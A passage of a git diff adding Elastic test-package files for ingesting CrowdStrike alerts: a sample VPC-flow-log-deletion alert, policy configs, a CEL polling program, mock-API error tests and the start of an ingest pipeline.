disabled\",\"event_category\":\"Management\",\"event_count\":1,\"event_id\":\"09a917ca-d430-4cd2-ae55-ceaec7e7dc94\",\"event_name\":\"DeleteFlowLogs\",\"event_source\":\"ec2.amazonaws.com\",\"event_type\":\"AwsApiCall\",\"falcon_host_link\":\"https://falcon.us-2.crowdstrike.com/unified-detections/<redacted>\",\"fcs_vertex_id\":\"206:09a917ca-d430-4cd2-ae55-ceaec7e7dc94:ioa\",\"first_timestamp\":\"2026-01-27T20:25:22.94Z\",\"id\":\"fcs:ioa-206:09a917ca-d430-4cd2-ae55-ceaec7e7dc94\",\"last_timestamp\":\"2026-01-27T20:25:22.94Z\",\"mfa_authenticated\":\"true\",\"mitre_attack\":[{\"pattern_id\":2036,\"tactic_id\":\"TA0005\",\"technique_id\":\"T1562.008\",\"tactic\":\"Defense Evasion\",\"technique\":\"Impair Defenses:Disable Cloud Logs\"}],\"name\":\"VPC flow logs disabled\",\"origin_cid\":\"bdc3e3474d8848f1**************\",\"pattern_id\":2036,\"policy_id\":\"206\",\"policy_statement\":\"VPC flow logs disabled\",\"poly_id\":\"<redacted>\",\"product\":\"fcs\",\"request_parameters\":\"{\\\"DeleteFlowLogsRequest\\\":{\\\"FlowLogId\\\":{\\\"content\\\":\\\"fl-***************\\\",\\\"tag\\\":1}}}\",\"resource_gcrn\":\"bdc3e3474d8848f1**************|aws|XXXXXXXXXXXX|us-east-2|AWS::EC2::FlowLog|fl-***************\",\"resource_uuid\":\"<redacted>\",\"response_elements\":\"{\\\"DeleteFlowLogsResponse\\\":{\\\"requestId\\\":\\\"<redacted>\\\",\\\"unsuccessful\\\":\\\"\\\",\\\"xmlns\\\":\\\"http://ec2.amazonaws.com/doc/2016-11-15/\\\"}}\",\"seconds_to_resolved\":0,\"seconds_to_triaged\":0,\"service\":\"VPC\",\"severity\":40,\"severity_name\":\"Medium\",\"show_in_ui\":true,\"source_account_name\":\"elastic-siem\",\"source_ip_address\":\"34.194.234.218\",\"source_products\":[\"Falcon Cloud Security\"],\"source_vendors\":[\"CrowdStrike\"],\"status\":\"new\",\"tactic\":\"Defense Evasion\",\"tactic_id\":\"TA0005\",\"technique\":\"Impair Defenses:Disable Cloud Logs\",\"technique_id\":\"T1562.008\",\"timestamp\":\"2026-01-27T20:34:37Z\",\"type\":\"cloud-ioa\",\"updated_timestamp\":\"2026-01-27T20:34:47.330964263Z\",\"user_agent\":\"<redacted>\",\"user_display_name\":\"user@example.com\",\"user_name\":\"user@example.com\",\"user_principal_id\":\"AIDA*************\"}",
+                "severity": 47
+            },
+            "related": {
+                "user": [
+                    "elastic-siem",
+                    "user@example.com"
+                ]
+            },
+            "source": {
+                "user": {
+                    "name": "elastic-siem"
+                }
+            },
+            "tags": [
+                "preserve_original_event",
+                "preserve_duplicate_custom_fields"
+            ],
+            "threat": {
+                "framework": "MITRE ATT&CK",
+                "tactic": {
+                    "id": [
+                        "TA0005"
+                    ],
+                    "name": [
+                        "Defense Evasion"
+                    ]
+                },
+                "technique": {
+                    "id": [
+                        "T1562.008"
+                    ],
+                    "name": [
+                        "Impair Defenses:Disable Cloud Logs"
+                    ]
+                }
+            },
+            "user": {
+                "name": "user@example.com"
+            }
+        }
+    ]
+}
diff --git a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/alert/_dev/test/pipeline/test-common-config.yml b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/alert/_dev/test/pipeline/test-common-config.yml
new file mode 100644
index 0000000000..be41bb0d47
--- /dev/null
+++ b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/alert/_dev/test/pipeline/test-common-config.yml
@@ -0,0 +1,4 @@
+fields:
+  tags:
+    - preserve_original_event
+    - preserve_duplicate_custom_fields
diff --git a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/alert/_dev/test/policy/test-default.expected b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/alert/_dev/test/policy/test-default.expected
new file mode 100644
index 0000000000..af6a6e323c
--- /dev/null
+++ b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/alert/_dev/test/policy/test-default.expected
@@ -0,0 +1,134 @@
+inputs:
+    - data_stream:
+        namespace: ep
+      meta:
+        package:
+            name: crowdstrike
+      name: test-default-crowdstrike
+      streams:
+        - auth.oauth2:
+            client.id: test_client_id
+            client.secret: ${SECRET_0}
+            token_url: http://host.tld/oauth2/token
+          config_version: 2
+          data_stream:
+            dataset: crowdstrike.alert
+          interval: 24h
+          program: |-
+            state.with(
+              (
+                state.?want_more.orValue(false) ?
+                  state.start_time
+                :
+                  state.?cursor.last_timestamp.orValue(
+                    (now - duration(state.initial_interval)).format(time_layout.RFC3339Nano)
+                  )
+              ).as(start_time,
+                post_request(
+                  state.url.trim_right("/") + "/alerts/combined/alerts/v1?",
+                  "application/json",
+                  {
+                    ?"after": state.?next.page_token,
+                    "limit": int(state.batch_size),
+                    "sort": "updated_timestamp|asc",
+                    "filter": [
+                      "updated_timestamp:>'" + start_time + "'",
+                      ?state.?query.optMap(q, "(" + q + ")"),
+                    ].join("+"),
+                  }.encode_json()
+                ).do_request().as(resp, (resp.StatusCode == 200) ?
+                  resp.Body.decode_json().as(body,
+                    (size(body.?errors.orValue([])) > 0) ?
+                      {
+                        "events": body.errors.map(error,
+                          {
+                            "error": {
+                              "code": string(error.code),
+                              "message": string(error.message),
+                            },
+                          }
+                        ),
+                        "next": {},
+                        "want_more": false,
+                      }
+                    :
+                      {
+                        "events": has(body.resources) ?
+                          body.resources.map(e,
+                            {
+                              "message": e.encode_json(),
+                            }
+                          )
+                        :
+                          [],
+                        "start_time": start_time,
+                        "next": {
+                          ?"page_token": body.?meta.pagination.after,
+                        },
+                        "cursor": {
+                          // The records are sorted in ascending order based on the value of updated_timestamp,
+                          // in the next interval we start from the last event (newest) time.
+                          ?"last_timestamp": (has(body.resources) && body.resources.size() > 0) ?
+                            optional.of(timestamp(body.resources[size(body.resources) - 1].updated_timestamp).format(time_layout.RFC3339Nano))
+                          :
+                            state.?cursor.last_timestamp,
+                        },
+                        "want_more": has(body.?meta.pagination.after),
+                      }
+                  )
+                :
+                  {
+                    "events": {
+                      "error": {
+                        "code": string(resp.StatusCode),
+                        "id": string(resp.Status),
+                        "message": "POST " + state.url.trim_right("/") + "/alerts/combined/alerts/v1:" + (
+                          (size(resp.Body) != 0) ?
+                            string(resp.Body)
+                          :
+                            string(resp.Status) + " (" + string(resp.StatusCode) + ")"
+                        ),
+                      },
+                    },
+                    "next": {},
+                    "want_more": false,
+                  }
+                )
+              )
+            )
+          publisher_pipeline.disable_host: true
+          redact:
+            fields: null
+          resource.ssl: null
+          resource.timeout: 30s
+          resource.tracer:
+            enabled: false
+            filename: ../../logs/cel/http-request-trace-*.ndjson
+            maxbackups: 5
+          resource.url: http://host.tld
+          state:
+            batch_size: 1000
+            initial_interval: 24h
+          tags:
+            - preserve_original_event
+            - preserve_duplicate_custom_fields
+            - forwarded
+            - crowdstrike-alert
+      type: cel
+      use_output: default
+output_permissions:
+    default:
+        _elastic_agent_checks:
+            cluster:
+                - monitor
+        _elastic_agent_monitoring:
+            indices: []
+        uuid-for-permissions-on-related-indices:
+            indices:
+                - names:
+                    - logs-crowdstrike.alert-ep
+                  privileges:
+                    - auto_configure
+                    - create_doc
+secret_references:
+    - {}
diff --git a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/alert/_dev/test/policy/test-default.yml b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/alert/_dev/test/policy/test-default.yml
new file mode 100644
index 0000000000..58bbc1f403
--- /dev/null
+++ b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/alert/_dev/test/policy/test-default.yml
@@ -0,0 +1,9 @@
+vars:
+  url: http://host.tld
+  client_id: test_client_id
+  client_secret: test_client_secret
+  token_url: http://host.tld/oauth2/token
+data_stream:
+  vars:
+    preserve_original_event: true
+    preserve_duplicate_custom_fields: true
diff --git a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/alert/_dev/test/policy/test-traced.expected b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/alert/_dev/test/policy/test-traced.expected
new file mode 100644
index 0000000000..dbe88b82e4
--- /dev/null
+++ b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/alert/_dev/test/policy/test-traced.expected
@@ -0,0 +1,134 @@
+inputs:
+    - data_stream:
+        namespace: ep
+      meta:
+        package:
+            name: crowdstrike
+      name: test-traced-crowdstrike
+      streams:
+        - auth.oauth2:
+            client.id: test_client_id
+            client.secret: ${SECRET_0}
+            token_url: http://host.tld/oauth2/token
+          config_version: 2
+          data_stream:
+            dataset: crowdstrike.alert
+          interval: 24h
+          program: |-
+            state.with(
+              (
+                state.?want_more.orValue(false) ?
+                  state.start_time
+                :
+                  state.?cursor.last_timestamp.orValue(
+                    (now - duration(state.initial_interval)).format(time_layout.RFC3339Nano)
+                  )
+              ).as(start_time,
+                post_request(
+                  state.url.trim_right("/") + "/alerts/combined/alerts/v1?",
+                  "application/json",
+                  {
+                    ?"after": state.?next.page_token,
+                    "limit": int(state.batch_size),
+                    "sort": "updated_timestamp|asc",
+                    "filter": [
+                      "updated_timestamp:>'" + start_time + "'",
+                      ?state.?query.optMap(q, "(" + q + ")"),
+                    ].join("+"),
+                  }.encode_json()
+                ).do_request().as(resp, (resp.StatusCode == 200) ?
+                  resp.Body.decode_json().as(body,
+                    (size(body.?errors.orValue([])) > 0) ?
+                      {
+                        "events": body.errors.map(error,
+                          {
+                            "error": {
+                              "code": string(error.code),
+                              "message": string(error.message),
+                            },
+                          }
+                        ),
+                        "next": {},
+                        "want_more": false,
+                      }
+                    :
+                      {
+                        "events": has(body.resources) ?
+                          body.resources.map(e,
+                            {
+                              "message": e.encode_json(),
+                            }
+                          )
+                        :
+                          [],
+                        "start_time": start_time,
+                        "next": {
+                          ?"page_token": body.?meta.pagination.after,
+                        },
+                        "cursor": {
+                          // The records are sorted in ascending order based on the value of updated_timestamp,
+                          // in the next interval we start from the last event (newest) time.
+                          ?"last_timestamp": (has(body.resources) && body.resources.size() > 0) ?
+                            optional.of(timestamp(body.resources[size(body.resources) - 1].updated_timestamp).format(time_layout.RFC3339Nano))
+                          :
+                            state.?cursor.last_timestamp,
+                        },
+                        "want_more": has(body.?meta.pagination.after),
+                      }
+                  )
+                :
+                  {
+                    "events": {
+                      "error": {
+                        "code": string(resp.StatusCode),
+                        "id": string(resp.Status),
+                        "message": "POST " + state.url.trim_right("/") + "/alerts/combined/alerts/v1:" + (
+                          (size(resp.Body) != 0) ?
+                            string(resp.Body)
+                          :
+                            string(resp.Status) + " (" + string(resp.StatusCode) + ")"
+                        ),
+                      },
+                    },
+                    "next": {},
+                    "want_more": false,
+                  }
+                )
+              )
+            )
+          publisher_pipeline.disable_host: true
+          redact:
+            fields: null
+          resource.ssl: null
+          resource.timeout: 30s
+          resource.tracer:
+            enabled: true
+            filename: ../../logs/cel/http-request-trace-*.ndjson
+            maxbackups: 5
+          resource.url: http://host.tld
+          state:
+            batch_size: 1000
+            initial_interval: 24h
+          tags:
+            - preserve_original_event
+            - preserve_duplicate_custom_fields
+            - forwarded
+            - crowdstrike-alert
+      type: cel
+      use_output: default
+output_permissions:
+    default:
+        _elastic_agent_checks:
+            cluster:
+                - monitor
+        _elastic_agent_monitoring:
+            indices: []
+        uuid-for-permissions-on-related-indices:
+            indices:
+                - names:
+                    - logs-crowdstrike.alert-ep
+                  privileges:
+                    - auto_configure
+                    - create_doc
+secret_references:
+    - {}
diff --git a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/alert/_dev/test/policy/test-traced.yml b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/alert/_dev/test/policy/test-traced.yml
new file mode 100644
index 0000000000..64c1d9d27e
--- /dev/null
+++ b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/alert/_dev/test/policy/test-traced.yml
@@ -0,0 +1,10 @@
+vars:
+  url: http://host.tld
+  client_id: test_client_id
+  client_secret: test_client_secret
+  token_url: http://host.tld/oauth2/token
+data_stream:
+  vars:
+    enable_request_tracer: true
+    preserve_original_event: true
+    preserve_duplicate_custom_fields: true
diff --git a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/alert/_dev/test/scripts/api_error_response.txt b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/alert/_dev/test/scripts/api_error_response.txt
new file mode 100644
index 0000000000..7c7134fede
--- /dev/null
+++ b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/alert/_dev/test/scripts/api_error_response.txt
@@ -0,0 +1,111 @@
+# Test that the alert data stream handles a CrowdStrike API error response
+# (HTTP 200 with a non-empty errors array) by emitting error events and
+# stopping collection.
+#
+# CrowdStrike returns errors inside a 200 response body rather than via HTTP
+# status codes. The CEL program checks body.errors and, when non-empty,
+# maps each entry to an error event and sets want_more=false.
+
+[!external_stack] skip 'Skipping external stack test.'
+[!exec:jq] skip 'Skipping test requiring absent jq command'
+
+# Connect to the running stack.
+use_stack -profile ${CONFIG_PROFILES}/${PROFILE}
+
+# Install an agent.
+install_agent -profile ${CONFIG_PROFILES}/${PROFILE} -network_name NETWORK_NAME
+
+# Start the mock CrowdStrike API server.
+docker_up -profile ${CONFIG_PROFILES}/${PROFILE} -network ${NETWORK_NAME} cs-mock
+
+# Workaround for https://github.com/elastic/elastic-package/issues/3321:
+# add_package passes the package dir as RepositoryRoot instead of the repo
+# root, so the builder can't find licenses/Elastic-2.0.txt. Copy it into
+# the package directory where the builder expects it.
+exec mkdir -p ${PACKAGE_ROOT}/licenses
+exec cp ${PACKAGE_ROOT}/../../licenses/Elastic-2.0.txt ${PACKAGE_ROOT}/licenses/Elastic-2.0.txt
+
+# Add the package resources.
+add_package -profile ${CONFIG_PROFILES}/${PROFILE}
+
+# Add the data stream policy.
+add_package_policy -profile ${CONFIG_PROFILES}/${PROFILE} test_config.yaml DATA_STREAM_NAME
+
+# Wait for exactly 1 document (the error event). Use a longer confirm duration
+# to verify no additional data events arrive.
+get_docs -profile ${CONFIG_PROFILES}/${PROFILE} -want 1 -confirm 15s -timeout 5m ${DATA_STREAM_NAME}
+cp stdout got_docs.json
+
+# The error event should reference the API error message.
+exec jq -r '[.hits.hits[]._source.error.message // empty] | flatten | .[]' got_docs.json
+stdout 'Access denied'
+
+# No alert data events should be present.
+exec jq '[.hits.hits[]._source | select(.crowdstrike.alert != null)] | length' got_docs.json
+stdout '^0$'
+
+# Clean up.
+remove_package_policy -profile ${CONFIG_PROFILES}/${PROFILE} ${DATA_STREAM_NAME}
+uninstall_agent -profile ${CONFIG_PROFILES}/${PROFILE} -timeout 1m
+docker_down cs-mock
+
+# Clean up license workaround (https://github.com/elastic/elastic-package/issues/3321).
+exec rm -rf ${PACKAGE_ROOT}/licenses
+
+-- test_config.yaml --
+input: cel
+vars:
+  url: http://cs-mock:8080
+  client_id: test-client-id
+  client_secret: test-client-secret
+  token_url: http://cs-mock:8080/oauth2/token
+data_stream:
+  vars:
+    interval: 30s
+    initial_interval: 1h
+    batch_size: 10
+    preserve_original_event: true
+    enable_request_tracer: false
+-- cs-mock/docker-compose.yml --
+version: '2.3'
+services:
+  cs-mock:
+    image: docker.elastic.co/observability/stream:v0.20.0
+    hostname: cs-mock
+    ports:
+      - 8080
+    environment:
+      PORT: "8080"
+    volumes:
+      - ./config.yml:/config.yml
+    command:
+      - http-server
+      - --addr=:8080
+      - --config=/config.yml
+-- cs-mock/config.yml --
+rules:
+  # OAuth2 token endpoint: returns a valid access token.
+  - path: /oauth2/token
+    methods: [POST]
+    responses:
+      - status_code: 200
+        headers:
+          Content-Type:
+            - "application/json"
+        body: |-
+          {"access_token":"test-token","expires_in":3600,"token_type":"Bearer"}
+
+  # Alerts endpoint: returns 200 with a non-empty errors array.
+  # CrowdStrike uses this pattern for permission and scope errors.
+  - path: /alerts/combined/alerts/v1
+    methods: [POST]
+    request_headers:
+      Authorization:
+        - "Bearer test-token"
+    responses:
+      - status_code: 200
+        headers:
+          Content-Type:
+            - "application/json"
+        body: |-
+          {"meta":{"pagination":{"total":0,"limit":10}},"errors":[{"code":403,"message":"Access denied: insufficient scope for this action"}],"resources":[]}
diff --git a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/alert/_dev/test/scripts/env.txt b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/alert/_dev/test/scripts/env.txt
new file mode 100644
index 0000000000..4c2c31eee8
--- /dev/null
+++ b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/alert/_dev/test/scripts/env.txt
@@ -0,0 +1,25 @@
+[!exec:echo] skip 'Skipping test requiring absent echo command'
+
+exec echo ${CONFIG_ROOT}
+stdout '/\.elastic-package$'
+
+exec echo ${CONFIG_PROFILES}
+stdout '/\.elastic-package/profiles$'
+
+exec echo ${PACKAGE_NAME}
+stdout '^crowdstrike$'
+
+exec echo ${PACKAGE_ROOT}
+stdout '/packages/crowdstrike$'
+
+exec echo ${DATA_STREAM}
+stdout '^alert$'
+
+exec echo ${DATA_STREAM_ROOT}
+stdout '/packages/crowdstrike/data_stream/alert$'
+
+exec echo ${CURRENT_VERSION}
+stdout '^[0-9]+\.[0-9]+\.[0-9]+(-[A-Za-z0-9.]+)?$'
+
+exec echo ${PREVIOUS_VERSION}
+stdout '^[0-9]+\.[0-9]+\.[0-9]+(-[A-Za-z0-9.]+)?$'
diff --git a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/alert/_dev/test/scripts/unauthorized.txt b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/alert/_dev/test/scripts/unauthorized.txt
new file mode 100644
index 0000000000..4d8aef78eb
--- /dev/null
+++ b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/alert/_dev/test/scripts/unauthorized.txt
@@ -0,0 +1,110 @@
+# Test that the alert data stream handles an HTTP 401 Unauthorized response
+# by emitting an error event and stopping collection.
+#
+# A non-200 HTTP response causes the CEL program to emit a single error event
+# with error.code set to the HTTP status code and want_more=false.
+
+[!external_stack] skip 'Skipping external stack test.'
+[!exec:jq] skip 'Skipping test requiring absent jq command'
+
+# Connect to the running stack.
+use_stack -profile ${CONFIG_PROFILES}/${PROFILE}
+
+# Install an agent.
+install_agent -profile ${CONFIG_PROFILES}/${PROFILE} -network_name NETWORK_NAME
+
+# Start the mock CrowdStrike API server.
+docker_up -profile ${CONFIG_PROFILES}/${PROFILE} -network ${NETWORK_NAME} cs-mock
+
+# Workaround for https://github.com/elastic/elastic-package/issues/3321:
+# add_package passes the package dir as RepositoryRoot instead of the repo
+# root, so the builder can't find licenses/Elastic-2.0.txt. Copy it into
+# the package directory where the builder expects it.
+exec mkdir -p ${PACKAGE_ROOT}/licenses
+exec cp ${PACKAGE_ROOT}/../../licenses/Elastic-2.0.txt ${PACKAGE_ROOT}/licenses/Elastic-2.0.txt
+
+# Add the package resources.
+add_package -profile ${CONFIG_PROFILES}/${PROFILE}
+
+# Add the data stream policy.
+add_package_policy -profile ${CONFIG_PROFILES}/${PROFILE} test_config.yaml DATA_STREAM_NAME
+
+# Wait for exactly 1 document (the error event). Use a longer confirm duration
+# to verify no additional data events arrive.
+get_docs -profile ${CONFIG_PROFILES}/${PROFILE} -want 1 -confirm 15s -timeout 5m ${DATA_STREAM_NAME}
+cp stdout got_docs.json
+
+# Verify the error message indicates the 401 response.
+exec jq -r '.hits.hits[0]._source.error.message' got_docs.json
+stdout 'Unauthorized'
+
+# The error message should reference the alerts endpoint.
+exec jq -r '.hits.hits[0]._source.error.message' got_docs.json
+stdout 'alerts/combined/alerts/v1'
+
+# No alert data events should be present.
+exec jq '[.hits.hits[]._source | select(.crowdstrike.alert != null)] | length' got_docs.json
+stdout '^0$'
+
+# Clean up.
+remove_package_policy -profile ${CONFIG_PROFILES}/${PROFILE} ${DATA_STREAM_NAME}
+uninstall_agent -profile ${CONFIG_PROFILES}/${PROFILE} -timeout 1m
+docker_down cs-mock
+
+# Clean up license workaround (https://github.com/elastic/elastic-package/issues/3321).
+exec rm -rf ${PACKAGE_ROOT}/licenses
+
+-- test_config.yaml --
+input: cel
+vars:
+  url: http://cs-mock:8080
+  client_id: test-client-id
+  client_secret: test-client-secret
+  token_url: http://cs-mock:8080/oauth2/token
+data_stream:
+  vars:
+    interval: 30s
+    initial_interval: 1h
+    batch_size: 10
+    preserve_original_event: true
+    enable_request_tracer: false
+-- cs-mock/docker-compose.yml --
+version: '2.3'
+services:
+  cs-mock:
+    image: docker.elastic.co/observability/stream:v0.20.0
+    hostname: cs-mock
+    ports:
+      - 8080
+    environment:
+      PORT: "8080"
+    volumes:
+      - ./config.yml:/config.yml
+    command:
+      - http-server
+      - --addr=:8080
+      - --config=/config.yml
+-- cs-mock/config.yml --
+rules:
+  # OAuth2 token endpoint: returns a valid access token.
+  - path: /oauth2/token
+    methods: [POST]
+    responses:
+      - status_code: 200
+        headers:
+          Content-Type:
+            - "application/json"
+        body: |-
+          {"access_token":"test-token","expires_in":3600,"token_type":"Bearer"}
+
+  # Alerts endpoint: returns 401 Unauthorized (invalid credentials).
+  # The CEL program emits an error event with error.code="401" and want_more=false.
+  - path: /alerts/combined/alerts/v1
+    methods: [POST]
+    responses:
+      - status_code: 401
+        headers:
+          Content-Type:
+            - "application/json"
+        body: |-
+          {"errors":[{"code":401,"message":"Unauthorized: invalid client credentials"}],"resources":[]}
diff --git a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/alert/_dev/test/system/test-common-config.yml b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/alert/_dev/test/system/test-common-config.yml
new file mode 100644
index 0000000000..7bdfd95a91
--- /dev/null
+++ b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/alert/_dev/test/system/test-common-config.yml
@@ -0,0 +1,15 @@
+input: cel
+service: crowdstrike-alert
+vars:
+  url: http://{{Hostname}}:{{Port}}
+  client_id: xxxx
+  client_secret: xxxx
+  token_url: http://{{Hostname}}:{{Port}}/oauth2/token
+data_stream:
+  vars:
+    interval: 10s
+    batch_size: 1
+    preserve_original_event: true
+    preserve_duplicate_custom_fields: true
+assert:
+  hit_count: 3
diff --git a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/alert/agent/stream/cel.yml.hbs b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/alert/agent/stream/cel.yml.hbs
new file mode 100644
index 0000000000..b9c4c9c6fd
--- /dev/null
+++ b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/alert/agent/stream/cel.yml.hbs
@@ -0,0 +1,130 @@
+config_version: 2
+interval: {{interval}}
+resource.tracer:
+  enabled: {{enable_request_tracer}}
+  filename: "../../logs/cel/http-request-trace-*.ndjson"
+  maxbackups: 5
+{{#if proxy_url}}
+resource.proxy_url: {{proxy_url}}
+{{/if}}
+{{#if proxy_headers}}
+resource.proxy_headers: {{proxy_headers}}
+{{/if}}
+{{#if ssl}}
+resource.ssl: {{ssl}}
+{{/if}}
+{{#if http_client_timeout}}
+resource.timeout: {{http_client_timeout}}
+{{/if}}
+resource.url: {{url}}
+auth.oauth2:
+  client.id: {{client_id}}
+  client.secret: {{client_secret}}
+  token_url: {{token_url}}
+state:
+  initial_interval: {{initial_interval}}
+  batch_size: {{batch_size}}
+{{#if query}}
+  query: {{query}}
+{{/if}}
+redact:
+  fields: ~
+program: |-
+  state.with(
+    (
+      state.?want_more.orValue(false) ?
+        state.start_time
+      :
+        state.?cursor.last_timestamp.orValue(
+          (now - duration(state.initial_interval)).format(time_layout.RFC3339Nano)
+        )
+    ).as(start_time,
+      post_request(
+        state.url.trim_right("/") + "/alerts/combined/alerts/v1?",
+        "application/json",
+        {
+          ?"after": state.?next.page_token,
+          "limit": int(state.batch_size),
+          "sort": "updated_timestamp|asc",
+          "filter": [
+            "updated_timestamp:>'" + start_time + "'",
+            ?state.?query.optMap(q, "(" + q + ")"),
+          ].join("+"),
+        }.encode_json()
+      ).do_request().as(resp, (resp.StatusCode == 200) ?
+        resp.Body.decode_json().as(body,
+          (size(body.?errors.orValue([])) > 0) ?
+            {
+              "events": body.errors.map(error,
+                {
+                  "error": {
+                    "code": string(error.code),
+                    "message": string(error.message),
+                  },
+                }
+              ),
+              "next": {},
+              "want_more": false,
+            }
+          :
+            {
+              "events": has(body.resources) ?
+                body.resources.map(e,
+                  {
+                    "message": e.encode_json(),
+                  }
+                )
+              :
+                [],
+              "start_time": start_time,
+              "next": {
+                ?"page_token": body.?meta.pagination.after,
+              },
+              "cursor": {
+                // The records are sorted in ascending order based on the value of updated_timestamp,
+                // in the next interval we start from the last event (newest) time.
+                ?"last_timestamp": (has(body.resources) && body.resources.size() > 0) ?
+                  optional.of(timestamp(body.resources[size(body.resources) - 1].updated_timestamp).format(time_layout.RFC3339Nano))
+                :
+                  state.?cursor.last_timestamp,
+              },
+              "want_more": has(body.?meta.pagination.after),
+            }
+        )
+      :
+        {
+          "events": {
+            "error": {
+              "code": string(resp.StatusCode),
+              "id": string(resp.Status),
+              "message": "POST " + state.url.trim_right("/") + "/alerts/combined/alerts/v1:" + (
+                (size(resp.Body) != 0) ?
+                  string(resp.Body)
+                :
+                  string(resp.Status) + " (" + string(resp.StatusCode) + ")"
+              ),
+            },
+          },
+          "next": {},
+          "want_more": false,
+        }
+      )
+    )
+  )
+tags:
+{{#if preserve_original_event}}
+  - preserve_original_event
+{{/if}}
+{{#if preserve_duplicate_custom_fields}}
+  - preserve_duplicate_custom_fields
+{{/if}}
+{{#each tags as |tag|}}
+  - {{tag}}
+{{/each}}
+{{#contains "forwarded" tags}}
+publisher_pipeline.disable_host: true
+{{/contains}}
+{{#if processors}}
+processors:
+{{processors}}
+{{/if}}
diff --git a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/alert/elasticsearch/ingest_pipeline/default.yml b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/alert/elasticsearch/ingest_pipeline/default.yml
new file mode 100644
index 0000000000..ddc83b719f
--- /dev/null
+++ b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/alert/elasticsearch/ingest_pipeline/default.yml
@@ -0,0 +1,3079 @@
+---
+description: Pipeline for processing Alert logs.
+processors:
+  - remove:
+      field:
+        - organization
+        - division
+        - team
+      ignore_missing: true
+      if: ctx.organization instanceof String && ctx.division instanceof String && ctx.team instanceof String
+      tag: remove_agentless_tags
+      description: >-
+        Removes the fields added by Agentless as metadata,
+        as they can collide with ECS fields.
+  - set:
+      field: ecs.version
+      tag: set_ecs_version
+      value: 8.17.0
+  - set:
+      field: event.kind
+      tag: set_event_kind
+      value: alert
+  - rename:
+      field: message
+      tag: rename_message_to_event_original
+      target_field: event.original
+      ignore_missing: true
+      description: Renames the original `message` field to `event.original` to store a copy of the original message. The `event.original` field is not touched if the document already has one; it may happen when Logstash sends the document.
+      if: ctx.event?.original == null
+  - remove:
+      field: message
+      tag: remove_message
+      ignore_missing: true
+      description: The `message` field is no longer required if the document has an `event.original` field.
+      if: ctx.event?.original != null
+  - terminate:
+      tag: data_collection_error
+      if: ctx.error?.message != null && ctx.message == null && ctx.event?.original == null
+      description: error message set and no data to process.
+  - json:
+      field: event.original
+      tag: json_event_original
+      target_field: json
+      on_failure:
+        - append:
+            tag: append_error_message_cea45f41
+            field: error.message
+            value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}'
+  - set:
+      field: event.category
+      tag: set_event_category_process
+      value: ['process']
+      if: ctx.json?.process_id != null || ctx.json?.triggering_process_graph_id != null
+  - set:
+      field: event.type
+      tag: set_event_type_start
+      value: ['start']
+      if: ctx.json?.process_start_time != null
+  - convert:
+      field: json.active_directory_authentication_method
+      tag: convert_active_directory_authentication_method_to_long
+      target_field: crowdstrike.alert.active_directory_authentication_method
+      type: long
+      if: ctx.json?.active_directory_authentication_method != ""
+      ignore_missing: true
+      on_failure:
+        - append:
+            tag: append_error_message_66658c56
+            field: error.message
+            value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}'
+  - rename:
+      field: json.activity_browser
+      tag: rename_activity_browser
+      target_field: crowdstrike.alert.activity.browser
+      ignore_missing: true
+  - rename:
+      field: json.activity_device
+      tag: rename_activity_device
+      target_field: crowdstrike.alert.activity.device
+      ignore_missing: true
+  - rename:
+      field: json.activity_id
+      tag: rename_activity_id
+      target_field: crowdstrike.alert.activity.id
+      ignore_missing: true
+  - rename:
+      field: json.activity_os
+      tag: rename_activity_os
+      target_field: crowdstrike.alert.activity.os
+      ignore_missing: true
+  - rename:
+      field: json.agent_id
+      tag: rename_agent_id
+      target_field: crowdstrike.alert.agent_id
+      ignore_missing: true
+  - set:
+      field: host.id
+      tag: set_host_id_from_alert_agent_id
+      copy_from: crowdstrike.alert.agent_id
+      ignore_empty_value: true
+  - rename:
+      field: json.agent_scan_id
+      tag: rename_agent_scan_id
+      target_field: crowdstrike.alert.agent_scan_id
+      ignore_missing: true
+  - rename:
+      field: json.aggregate_id
+      tag: rename_aggregate_id
+      target_field: crowdstrike.alert.aggregate_id
+      ignore_missing: true
+  - convert:
+      field: json.alert_attributes
+      tag: convert_alert_attributes_to_long
+      target_field: crowdstrike.alert.alert_attributes
+      type: long
+      if: ctx.json?.alert_attributes != ""
+      ignore_missing: true
+      on_failure:
+        - append:
+            tag: append_error_message_70221132
+            field: error.message
